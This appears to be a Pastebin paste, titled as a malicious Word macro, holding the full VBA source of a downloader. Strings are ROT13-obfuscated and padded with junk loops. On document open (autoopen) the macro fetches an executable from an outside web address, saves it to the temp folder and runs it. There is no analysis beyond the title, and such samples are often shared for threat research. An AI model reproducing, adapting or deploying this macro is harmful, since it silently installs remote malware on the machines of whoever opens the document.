SHARE
TWEET

Malicious Word macro

dynamoo Feb 17th, 2015 226 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. REM == MODULE 1 ============================================
  2.  
  3. Attribute VB_Name = "Module1"
  4. Private Const LW4O3AUER = ""
  5. Private Const QPFGLMSjq = LW4O3AUER
  6. Private Const LRipI5OslYA = "abcdefghijklmnopqrstuvwxyz"
  7. Private Const GLEqSmimQC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  8. Function ZRCOUP(ByVal InString As String)
  9.  
  10.  
  11. Dim LetterU As String
  12. Dim LetterL As String
  13. Dim Letter As String
  14. Dim Rot13 As String
  15. Dim i As Integer
  16. LetterU = GLEqSmimQC
  17. LetterL = LRipI5OslYA
  18. i = 0
  19. Do While i <= Len(InString)
  20. i = i + 1
  21. Letter = Mid(InString, i, 1)
  22. If I0A7WvDveK(Letter) = True Then
  23. If cIRt4Ae(Letter) = True Then
  24. Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
  25. Else
  26. Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
  27. End If
  28. Else
  29. Rot13 = Rot13 + Letter
  30. End If
  31. Loop
  32.  ZRCOUP = Rot13
  33. End Function
  34. Function cIRt4Ae(ByVal InString As String) As Boolean
  35. If StrComp(Trim(InString), "") = 0 Then
  36.  cIRt4Ae = False
  37. Exit Function
  38. End If
  39. If StrComp(InString, UCase(InString)) = 0 Then
  40.  cIRt4Ae = True
  41. Else
  42.  cIRt4Ae = False
  43. End If
  44. End Function
  45. Function I0A7WvDveK(ByVal InString As String) As Boolean
  46. InString = UCase(InString)
  47. If InString = "" Then I0A7WvDveK = False: Exit Function
  48. If Asc(InString) >= 65 And Asc(InString) <= 90 Then
  49.  I0A7WvDveK = True
  50. Else
  51.  I0A7WvDveK = False
  52. End If
  53. End Function
  54.  
  55.  
  56. REM == MODULE 11 ============================================
  57.  
  58. Attribute VB_Name = "Module11"
  59. Private Const pIna0CSVNsu = "Furyy.Nccyvpngvba"
  60. Private Const dvr5p = "NQBQO.Fgernz"
  61. Private Const wvYm = "Fpevcgvat.SvyrFlfgrzBowrpg"
  62. Private Const OJvaKHZFGT = "TRG"
  63. Private Const dCkKHihXXc = "ZFKZY2.KZYUGGC"
  64. Private Const WWNcjAI4U = "\qfUUU.rkr"
  65. Private Const s8A4IFJCpDYh = "uggc://nyhpneqban.pbz/wf/ova.rkr"
  66. Private Const gS5U = wvYm
  67.  
  68. Sub ysrSwepCA()
  69. Dim zFWcw, gmkGo6q
  70. Dim EfQhk As Integer
  71. For EfQhk = 655 To 655 + 5
  72. DoEvents
  73. Next EfQhk
  74. Dim Gagod As Integer
  75. For Gagod = 2269 To 2269 + 5
  76. DoEvents
  77. Next Gagod
  78. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  79. Dim wCyKbc As Integer
  80. For wCyKbc = 654 To 654 + 5
  81. DoEvents
  82. Next wCyKbc
  83. Dim EseFcbC As Integer
  84. For EseFcbC = 212 To 212 + 5
  85. DoEvents
  86. Next EseFcbC
  87. Dim ijnK2g, j_YLrCc1S, fz21trwt
  88. Const rihuZ61esFi = 2
  89. Dim iGZkZVPif As Integer
  90. For iGZkZVPif = 1004 To 1004 + 5
  91. DoEvents
  92. Next iGZkZVPif
  93. Dim zuYaG As Integer
  94. For zuYaG = 813 To 813 + 5
  95. DoEvents
  96. Next zuYaG
  97. Dim CmwCy As Integer
  98. For CmwCy = 2175 To 2175 + 5
  99. DoEvents
  100. Next CmwCy
  101. Dim nrRsDxPMjeVRduJfSc As Integer
  102. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  103. DoEvents
  104. Next nrRsDxPMjeVRduJfSc
  105. Dim ocNpLYm As Integer
  106. For ocNpLYm = 2458 To 2458 + 5
  107. DoEvents
  108. Next ocNpLYm
  109. Dim oqQdwEtZUU As Integer
  110. For oqQdwEtZUU = 2268 To 2268 + 5
  111. DoEvents
  112. Next oqQdwEtZUU
  113. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  114. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  115. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  116. DoEvents
  117. Next rRsDxPMEeVRdufSczuYaGag
  118. Dim cMuwQt As Integer
  119. For cMuwQt = 844 To 844 + 5
  120. DoEvents
  121. Next cMuwQt
  122. Dim knfDhLrgArivFo As Integer
  123. For knfDhLrgArivFo = 372 To 372 + 5
  124. DoEvents
  125. Next knfDhLrgArivFo
  126. strLink = ZRCOUP(s8A4IFJCpDYh)
  127. Dim paSaEf As Integer
  128. For paSaEf = 752 To 752 + 5
  129. DoEvents
  130. Next paSaEf
  131. Dim UUTZJPYoONeT As Integer
  132. For UUTZJPYoONeT = 401 To 401 + 5
  133. DoEvents
  134. Next UUTZJPYoONeT
  135. Dim JfSczuYa As Integer
  136. For JfSczuYa = 2237 To 2237 + 5
  137. DoEvents
  138. Next JfSczuYa
  139. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  140. Dim PQBcNehkcAeI As Integer
  141. For PQBcNehkcAeI = 1085 To 1085 + 5
  142. DoEvents
  143. Next PQBcNehkcAeI
  144. Dim ZwrUVCQckaF As Integer
  145. For ZwrUVCQckaF = 167 To 167 + 5
  146. DoEvents
  147. Next ZwrUVCQckaF
  148. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  149. Dim lQPQBc As Integer
  150. For lQPQBc = 1688 To 1688 + 5
  151. DoEvents
  152. Next lQPQBc
  153. Dim UVCQcka As Integer
  154. For UVCQcka = 706 To 706 + 5
  155. DoEvents
  156. Next UVCQcka
  157. Dim hkcAesodxnesCll As Integer
  158. For hkcAesodxnesCll = 1876 To 1876 + 5
  159. DoEvents
  160. Next hkcAesodxnesCll
  161. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  162. Dim boPjOnEfFQK As Integer
  163. For boPjOnEfFQK = 1815 To 1815 + 5
  164. DoEvents
  165. Next boPjOnEfFQK
  166. Dim OarFbOZwrUV As Integer
  167. For OarFbOZwrUV = 673 To 673 + 5
  168. DoEvents
  169. Next OarFbOZwrUV
  170. Dim ihlQPQ As Integer
  171. For ihlQPQ = 356 To 356 + 5
  172. DoEvents
  173. Next ihlQPQ
  174. Dim CQckaFOONSpw As Integer
  175. For CQckaFOONSpw = 2478 To 2478 + 5
  176. DoEvents
  177. Next CQckaFOONSpw
  178. kSrmQYLjBtNSgg.send
  179. Dim hYxaF As Integer
  180. For hYxaF = 2021 To 2021 + 5
  181. DoEvents
  182. Next hYxaF
  183. Dim QoCYLUtoQS As Integer
  184. For QoCYLUtoQS = 1609 To 1609 + 5
  185. DoEvents
  186. Next QoCYLUtoQS
  187. Dim aGkAgnGND As Integer
  188. For aGkAgnGND = 2150 To 2150 + 5
  189. DoEvents
  190. Next aGkAgnGND
  191. Dim AfsrHKNF As Integer
  192. For AfsrHKNF = 1200 To 1200 + 5
  193. DoEvents
  194. Next AfsrHKNF
  195. Dim DjefdiTMTyZ As Integer
  196. For DjefdiTMTyZ = 124 To 124 + 5
  197. DoEvents
  198. Next DjefdiTMTyZ
  199. Dim UtoQSzTZhQ As Integer
  200. For UtoQSzTZhQ = 1642 To 1642 + 5
  201. DoEvents
  202. Next UtoQSzTZhQ
  203. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  204. Dim RgNfQUujgspLiG As Integer
  205. For RgNfQUujgspLiG = 819 To 819 + 5
  206. DoEvents
  207. Next RgNfQUujgspLiG
  208. Dim pxnSNOMRCJQh As Integer
  209. For pxnSNOMRCJQh = 881 To 881 + 5
  210. DoEvents
  211. Next pxnSNOMRCJQh
  212. Dim hahKYQnr As Integer
  213. For hahKYQnr = 1218 To 1218 + 5
  214. DoEvents
  215. Next hahKYQnr
  216. Dim GAegMS As Integer
  217. For GAegMS = 646 To 646 + 5
  218. DoEvents
  219. Next GAegMS
  220. Dim rfdQpmIfDJF As Integer
  221. For rfdQpmIfDJF = 238 To 238 + 5
  222. DoEvents
  223. Next rfdQpmIfDJF
  224. Dim gyYyJDVFcL As Integer
  225. For gyYyJDVFcL = 2008 To 2008 + 5
  226. DoEvents
  227. Next gyYyJDVFcL
  228. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  229. Dim BOdJc As Integer
  230. For BOdJc = 899 To 899 + 5
  231. DoEvents
  232. Next BOdJc
  233. Dim GNeFEUKMEGljQF As Integer
  234. For GNeFEUKMEGljQF = 741 To 741 + 5
  235. DoEvents
  236. Next GNeFEUKMEGljQF
  237. Dim HitnFC As Integer
  238. For HitnFC = 1820 To 1820 + 5
  239. DoEvents
  240. Next HitnFC
  241. Dim yyaiuQqVtL As Integer
  242. For yyaiuQqVtL = 794 To 794 + 5
  243. DoEvents
  244. Next yyaiuQqVtL
  245. Dim zJesfR As Integer
  246. For zJesfR = 381 To 381 + 5
  247. DoEvents
  248. Next zJesfR
  249. Dim gNCQNE As Integer
  250. For gNCQNE = 728 To 728 + 5
  251. DoEvents
  252. Next gNCQNE
  253. Dim qiHQOzhEglzJe As Integer
  254. For qiHQOzhEglzJe = 854 To 854 + 5
  255. DoEvents
  256. Next qiHQOzhEglzJe
  257. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  258. Dim tLYLJDVSpZkp As Integer
  259. For tLYLJDVSpZkp = 1204 To 1204 + 5
  260. DoEvents
  261. Next tLYLJDVSpZkp
  262. Dim NetOCLjeH As Integer
  263. For NetOCLjeH = 115 To 115 + 5
  264. DoEvents
  265. Next NetOCLjeH
  266. Dim ROmVgmiuK As Integer
  267. For ROmVgmiuK = 148 To 148 + 5
  268. DoEvents
  269. Next ROmVgmiuK
  270. Dim pNFBNetOCLj As Integer
  271. For pNFBNetOCLj = 1791 To 1791 + 5
  272. DoEvents
  273. Next pNFBNetOCLj
  274. Dim IUIFzRO As Integer
  275. For IUIFzRO = 684 To 684 + 5
  276. DoEvents
  277. Next IUIFzRO
  278. Dim vGbocN As Integer
  279. For vGbocN = 1317 To 1317 + 5
  280. DoEvents
  281. Next vGbocN
  282. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  283. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  284. DoEvents
  285. Next HHvvVfrTnSqIIFzROmVgmiuK
  286. Dim qLzIh As Integer
  287. For qLzIh = 140 To 140 + 5
  288. DoEvents
  289. Next qLzIh
  290. End If
  291. Dim OCAuMJgPb As Integer
  292. For OCAuMJgPb = 158 To 158 + 5
  293. DoEvents
  294. Next OCAuMJgPb
  295. Dim jFEhNgRVvV As Integer
  296. For jFEhNgRVvV = 758 To 758 + 5
  297. DoEvents
  298. Next jFEhNgRVvV
  299. Dim ZlNhMkCOCAu As Integer
  300. For ZlNhMkCOCAu = 1582 To 1582 + 5
  301. DoEvents
  302. Next ZlNhMkCOCAu
  303. Dim MjHzvHY As Integer
  304. For MjHzvHY = 1424 To 1424 + 5
  305. DoEvents
  306. Next MjHzvHY
  307. Dim COCAuM As Integer
  308. For COCAuM = 1138 To 1138 + 5
  309. DoEvents
  310. Next COCAuM
  311. Dim gEwsEUkFtC As Integer
  312. For gEwsEUkFtC = 872 To 872 + 5
  313. DoEvents
  314. Next gEwsEUkFtC
  315. Dim hzLzxrIGdM As Integer
  316. For hzLzxrIGdM = 1855 To 1855 + 5
  317. DoEvents
  318. Next hzLzxrIGdM
  319. Dim Antkhrp9gTyfJ3
  320. Dim eVvKC As Integer
  321. For eVvKC = 303 To 303 + 5
  322. DoEvents
  323. Next eVvKC
  324. Dim qlOQxDQfUAv As Integer
  325. For qlOQxDQfUAv = 2486 To 2486 + 5
  326. DoEvents
  327. Next qlOQxDQfUAv
  328. Dim aQtOotqBET As Integer
  329. For aQtOotqBET = 809 To 809 + 5
  330. DoEvents
  331. Next aQtOotqBET
  332. Dim tBOqKpNfFgr As Integer
  333. For tBOqKpNfFgr = 735 To 735 + 5
  334. DoEvents
  335. Next tBOqKpNfFgr
  336. Dim DYOFSdLLzlM As Integer
  337. For DYOFSdLLzlM = 1713 To 1713 + 5
  338. DoEvents
  339. Next DYOFSdLLzlM
  340. Dim OqKpNfFgr As Integer
  341. For OqKpNfFgr = 735 To 735 + 5
  342. DoEvents
  343. Next OqKpNfFgr
  344. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  345. Dim JDVTqLkqmyB As Integer
  346. For JDVTqLkqmyB = 542 To 542 + 5
  347. DoEvents
  348. Next JDVTqLkqmyB
  349. Dim ejwtcpOOq As Integer
  350. For ejwtcpOOq = 657 To 657 + 5
  351. DoEvents
  352. Next ejwtcpOOq
  353. Dim EIunuZzlA As Integer
  354. For EIunuZzlA = 2396 To 2396 + 5
  355. DoEvents
  356. Next EIunuZzlA
  357. Dim stauzHxdmml As Integer
  358. For stauzHxdmml = 753 To 753 + 5
  359. DoEvents
  360. Next stauzHxdmml
  361. Dim peJFFE As Integer
  362. For peJFFE = 245 To 245 + 5
  363. DoEvents
  364. Next peJFFE
  365. With Antkhrp9gTyfJ3
  366. Dim nJQYCP As Integer
  367. For nJQYCP = 453 To 453 + 5
  368. DoEvents
  369. Next nJQYCP
  370. Dim bstOPaxeHYD As Integer
  371. For bstOPaxeHYD = 1531 To 1531 + 5
  372. DoEvents
  373. Next bstOPaxeHYD
  374. Dim AVumj As Integer
  375. For AVumj = 1877 To 1877 + 5
  376. DoEvents
  377. Next AVumj
  378. .Type = 1
  379. Dim YpBpnhzwS As Integer
  380. For YpBpnhzwS = 738 To 738 + 5
  381. DoEvents
  382. Next YpBpnhzwS
  383. Dim LakESFsSpo As Integer
  384. For LakESFsSpo = 249 To 249 + 5
  385. DoEvents
  386. Next LakESFsSpo
  387. Dim ijhmQel As Integer
  388. For ijhmQel = 1328 To 1328 + 5
  389. DoEvents
  390. Next ijhmQel
  391. Dim Cbhdor As Integer
  392. For Cbhdor = 851 To 851 + 5
  393. DoEvents
  394. Next Cbhdor
  395. Dim YcqnVjII As Integer
  396. For YcqnVjII = 536 To 536 + 5
  397. DoEvents
  398. Next YcqnVjII
  399. .Open
  400. Dim rVGBqKBsFQz As Integer
  401. For rVGBqKBsFQz = 2453 To 2453 + 5
  402. DoEvents
  403. Next rVGBqKBsFQz
  404. Dim kQlqyn As Integer
  405. For kQlqyn = 1851 To 1851 + 5
  406. DoEvents
  407. Next kQlqyn
  408. Dim RuNtQjvjh As Integer
  409. For RuNtQjvjh = 1217 To 1217 + 5
  410. DoEvents
  411. Next RuNtQjvjh
  412. Dim pPmlNuLyC As Integer
  413. For pPmlNuLyC = 1123 To 1123 + 5
  414. DoEvents
  415. Next pPmlNuLyC
  416. Dim lbeVuYCAiQri As Integer
  417. For lbeVuYCAiQri = 1870 To 1870 + 5
  418. DoEvents
  419. Next lbeVuYCAiQri
  420. .Write kSrmQYLjBtNSgg.responseBody
  421. Dim HMxqxcpoEI As Integer
  422. For HMxqxcpoEI = 1427 To 1427 + 5
  423. DoEvents
  424. Next HMxqxcpoEI
  425. Dim VtdntpB As Integer
  426. For VtdntpB = 793 To 793 + 5
  427. DoEvents
  428. Next VtdntpB
  429. Dim HlPzvk As Integer
  430. For HlPzvk = 2141 To 2141 + 5
  431. DoEvents
  432. Next HlPzvk
  433. Dim DyceJ As Integer
  434. For DyceJ = 2267 To 2267 + 5
  435. DoEvents
  436. Next DyceJ
  437. Dim mjGqAGCOfgBD As Integer
  438. For mjGqAGCOfgBD = 813 To 813 + 5
  439. DoEvents
  440. Next mjGqAGCOfgBD
  441. .SaveToFile strSaveTo
  442. Dim evJfSdAvZaG As Integer
  443. For evJfSdAvZaG = 703 To 703 + 5
  444. DoEvents
  445. Next evJfSdAvZaG
  446. Dim CmxDzK As Integer
  447. For CmxDzK = 420 To 420 + 5
  448. DoEvents
  449. Next CmxDzK
  450. .Close
  451. Dim fGdbDlC As Integer
  452. For fGdbDlC = 735 To 735 + 5
  453. DoEvents
  454. Next fGdbDlC
  455. Dim gqZZLLnvIkE As Integer
  456. For gqZZLLnvIkE = 2286 To 2286 + 5
  457. DoEvents
  458. Next gqZZLLnvIkE
  459. Dim CpcDZYA As Integer
  460. For CpcDZYA = 1038 To 1038 + 5
  461. DoEvents
  462. Next CpcDZYA
  463. Dim iYOdnVVIIks As Integer
  464. For iYOdnVVIIks = 469 To 469 + 5
  465. DoEvents
  466. Next iYOdnVVIIks
  467. End With
  468. Dim vypOeQG As Integer
  469. For vypOeQG = 1594 To 1594 + 5
  470. DoEvents
  471. Next vypOeQG
  472. Dim KRiIIYOQI As Integer
  473. For KRiIIYOQI = 328 To 328 + 5
  474. DoEvents
  475. Next KRiIIYOQI
  476. Set Antkhrp9gTyfJ3 = Nothing
  477. Dim Ocbrvy As Integer
  478. For Ocbrvy = 1089 To 1089 + 5
  479. DoEvents
  480. Next Ocbrvy
  481. Dim ZlBQY As Integer
  482. For ZlBQY = 505 To 505 + 5
  483. DoEvents
  484. Next ZlBQY
  485. Dim VvYCn As Integer
  486. For VvYCn = 2276 To 2276 + 5
  487. DoEvents
  488. Next VvYCn
  489.  
  490. Dim xRuzMJsF As Integer
  491. For xRuzMJsF = 1019 To 1019 + 5
  492. DoEvents
  493. Next xRuzMJsF
  494. Dim SQVHAHmMyNR As Integer
  495. For SQVHAHmMyNR = 1162 To 1162 + 5
  496. DoEvents
  497. Next SQVHAHmMyNR
  498. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  499. Dim ahoSgfvyB As Integer
  500. For ahoSgfvyB = 88 To 88 + 5
  501. DoEvents
  502. Next ahoSgfvyB
  503. Dim QSSQVHA As Integer
  504. For QSSQVHA = 1541 To 1541 + 5
  505. DoEvents
  506. Next QSSQVHA
  507. Dim qOeQGorL As Integer
  508. For qOeQGorL = 929 To 929 + 5
  509. DoEvents
  510. Next qOeQGorL
  511. Dim RIiKpaVJfUL As Integer
  512. For RIiKpaVJfUL = 1181 To 1181 + 5
  513. DoEvents
  514. Next RIiKpaVJfUL
  515. Dim vmLbTDl As Integer
  516. For vmLbTDl = 660 To 660 + 5
  517. DoEvents
  518. Next vmLbTDl
  519. End If
  520. Dim AfFrHLNF As Integer
  521. For AfFrHLNF = 1199 To 1199 + 5
  522. DoEvents
  523. Next AfFrHLNF
  524. Dim mLbTDloI As Integer
  525. For mLbTDloI = 1865 To 1865 + 5
  526. DoEvents
  527. Next mLbTDloI
  528. Dim oEHKCbEjT As Integer
  529. For oEHKCbEjT = 393 To 393 + 5
  530. DoEvents
  531. Next oEHKCbEjT
  532. Dim wftRStCOr As Integer
  533. For wftRStCOr = 1281 To 1281 + 5
  534. DoEvents
  535. Next wftRStCOr
  536. Dim oFrvVJGASP As Integer
  537. For oFrvVJGASP = 509 To 509 + 5
  538. DoEvents
  539. Next oFrvVJGASP
  540. Dim tcpOOqyL As Integer
  541. For tcpOOqyL = 1109 To 1109 + 5
  542. DoEvents
  543. Next tcpOOqyL
  544. Dim AULCPaIIwi As Integer
  545. For AULCPaIIwi = 634 To 634 + 5
  546. DoEvents
  547. Next AULCPaIIwi
  548. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  549. Dim dBQJtc As Integer
  550. For dBQJtc = 969 To 969 + 5
  551. DoEvents
  552. Next dBQJtc
  553. Dim rkrVwixBEw As Integer
  554. For rkrVwixBEw = 1508 To 1508 + 5
  555. DoEvents
  556. Next rkrVwixBEw
  557. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  558. Dim QsgpNHlnTo As Integer
  559. For QsgpNHlnTo = 2223 To 2223 + 5
  560. DoEvents
  561. Next QsgpNHlnTo
  562. Dim MYpqLMQubET As Integer
  563. For MYpqLMQubET = 1368 To 1368 + 5
  564. DoEvents
  565. Next MYpqLMQubET
  566. End Sub
  567.  
  568. REM == ThisDocument ============================================
  569.  
  570. Attribute VB_Name = "ThisDocument"
  571. Attribute VB_Base = "1Normal.ThisDocument"
  572. Attribute VB_GlobalNameSpace = False
  573. Attribute VB_Creatable = False
  574. Attribute VB_PredeclaredId = True
  575. Attribute VB_Exposed = True
  576. Attribute VB_TemplateDerived = True
  577. Attribute VB_Customizable = True
  578. Sub autoopen()
  579. ysrSwepCA
  580. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top